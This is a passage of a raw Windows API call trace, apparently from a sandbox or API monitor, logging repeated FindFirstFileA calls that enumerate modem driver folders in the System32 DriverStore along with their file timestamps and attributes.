lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmpn1.inf_amd64_neutral_e44cc033b67e7d04\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4dc4e148, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x69b386ff, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x69b386ff, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.747] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmpp.inf_amd64_neutral_a9cb77fe1985cd2c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4dd0c829, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x69b5e85f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x69b5e85f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.748] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmpsion.inf_amd64_neutral_6e65ea91a16f922a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ddcaf0b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x69b849c0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x69b849c0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.750] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmracal.inf_amd64_neutral_857b8ff74e5a7073\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4deaf74c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x69bd0c80, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x69bd0c80, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.751] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmrock.inf_amd64_neutral_2ec26aaad7a9d419\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4df93f8e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x69e32284, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x69e32284, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.752] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmrock3.inf_amd64_neutral_9fdc5d710dd63e80\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e0787d0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x69e583e5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x69e583e5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.753] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmrock4.inf_amd64_neutral_e45293c539584293\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e1cf432, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6a0b99e9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6a0b99e9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.754] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmrock5.inf_amd64_neutral_cadd97421d121ebb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e326095, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6a31afee, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6a31afee, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.755] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmsier.inf_amd64_neutral_622ad8125bbeeda8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e430a36, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6a57c5f2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6a57c5f2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.756] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmsii64.inf_amd64_neutral_d7409fccc5ef4078\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e4ef118, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6a5a2752, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6a5a2752, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.757] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmsmart.inf_amd64_neutral_829e8c7d1c8d5207\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e5ad7f9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6a5c88b2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6a5c88b2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.759] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmsonyu.inf_amd64_neutral_45152a8a9362fb82\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e69203b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6a614b73, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6a614b73, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.760] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmsun1.inf_amd64_neutral_6184912bd8e5b438\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e75071c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6a63acd3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6a63acd3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.761] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmsun2.inf_amd64_neutral_242c76ad2e288fb4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e80edfe, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6a660e34, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6a660e34, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.762] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmsupr3.inf_amd64_neutral_8416bd6e64a8e858\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e8cd4df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6a686f94, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6a686f94, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.763] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmsupra.inf_amd64_neutral_c4fe81ea47c6df87\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ea24141, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6a8e8598, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6a8e8598, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.764] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmsuprv.inf_amd64_neutral_31d10a1a73b4feaa\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4eb54c44, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ab6fcfd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ab6fcfd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.765] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmtdk.inf_amd64_neutral_e567adb271831b5d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ec39485, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6abbbfbd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6abbbfbd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.766] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmtdkj2.inf_amd64_neutral_0cf7696e2236ca4e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ecf7b67, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6adf7462, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6adf7462, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0145.767] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmtdkj3.inf_amd64_neutral_7e1053ab483310f6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4edb6248, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ae1d5c2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ae1d5c2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.115] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmtdkj4.inf_amd64_neutral_c150a510c4b85ce7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ee74929, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ae1d5c2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ae1d5c2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.117] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmtdkj5.inf_amd64_neutral_15940559c66fe8d9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ef0ceaa, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ae43722, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ae43722, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.118] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmtdkj6.inf_amd64_neutral_8087946c82068597\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4efcb58c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ae69882, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ae69882, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.119] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmtdkj7.inf_amd64_neutral_7c21481229e1e66c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f063b0d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ae69882, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ae69882, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.120] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmtexas.inf_amd64_neutral_7572473d88d69307\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f1221ee, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ae8f9e3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ae8f9e3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.121] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmti.inf_amd64_neutral_4443b423d18c3ffc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f1e08d0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ae8f9e3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6ae8f9e3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.123] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmtkr.inf_amd64_neutral_8e3809aa77440c37\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f2c5111, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6b0cae87, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6b0cae87, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.124] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmtron.inf_amd64_neutral_1121c7f92e9e3001\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f3837f3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6b0f0fe7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6b0f0fe7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.125] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmusrf.inf_amd64_neutral_439e7d1dcac00aca\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f441ed4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6b13d2a8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6b13d2a8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.126] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmusrg.inf_amd64_neutral_814744dd97ccf09f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f5729d6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6b163408, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6b163408, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.127] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmusrgl.inf_amd64_neutral_d42522943de68905\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f6310b8, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6b1af6c8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6b1af6c8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.128] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmusrk1.inf_amd64_neutral_19cdebd3e1182874\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f73ba59, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6b247c49, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6b247c49, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.129] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmusrsp.inf_amd64_neutral_a44611db70783ded\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f7fa13b, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6b4cf3ae, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6b4cf3ae, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.130] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmvdot.inf_amd64_neutral_714bc6a3a28b9f0f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f8b881c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6b4f550e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6b4f550e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.133] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmvv.inf_amd64_neutral_14cb440c800fe9fe\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4f976efe, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6b51b66f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6b51b66f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.134] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmwhql0.inf_amd64_neutral_23613e3dd9401f10\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4faa7a00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6b58da8f, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6b58da8f, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.135] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmx5560.inf_amd64_neutral_e853cea0022c059a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fbd8502, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6b8ad775, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6b8ad775, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.137] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmzoom.inf_amd64_neutral_dd07287cee791f3c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fd2f164, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6bb0ed7a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6bb0ed7a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.139] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmzyp.inf_amd64_neutral_b64bd08009e7444f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4fe5fc67, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6bb8119a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6bb8119a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.140] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmzyxel.inf_amd64_neutral_ed1f16b3d0cae908\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ff90769, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6bbcd45b, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6bbcd45b, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0146.141] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\mdmzyxlg.inf_amd64_neutral_14f9249844f1cf17\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5010d52c, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6be54bc0, 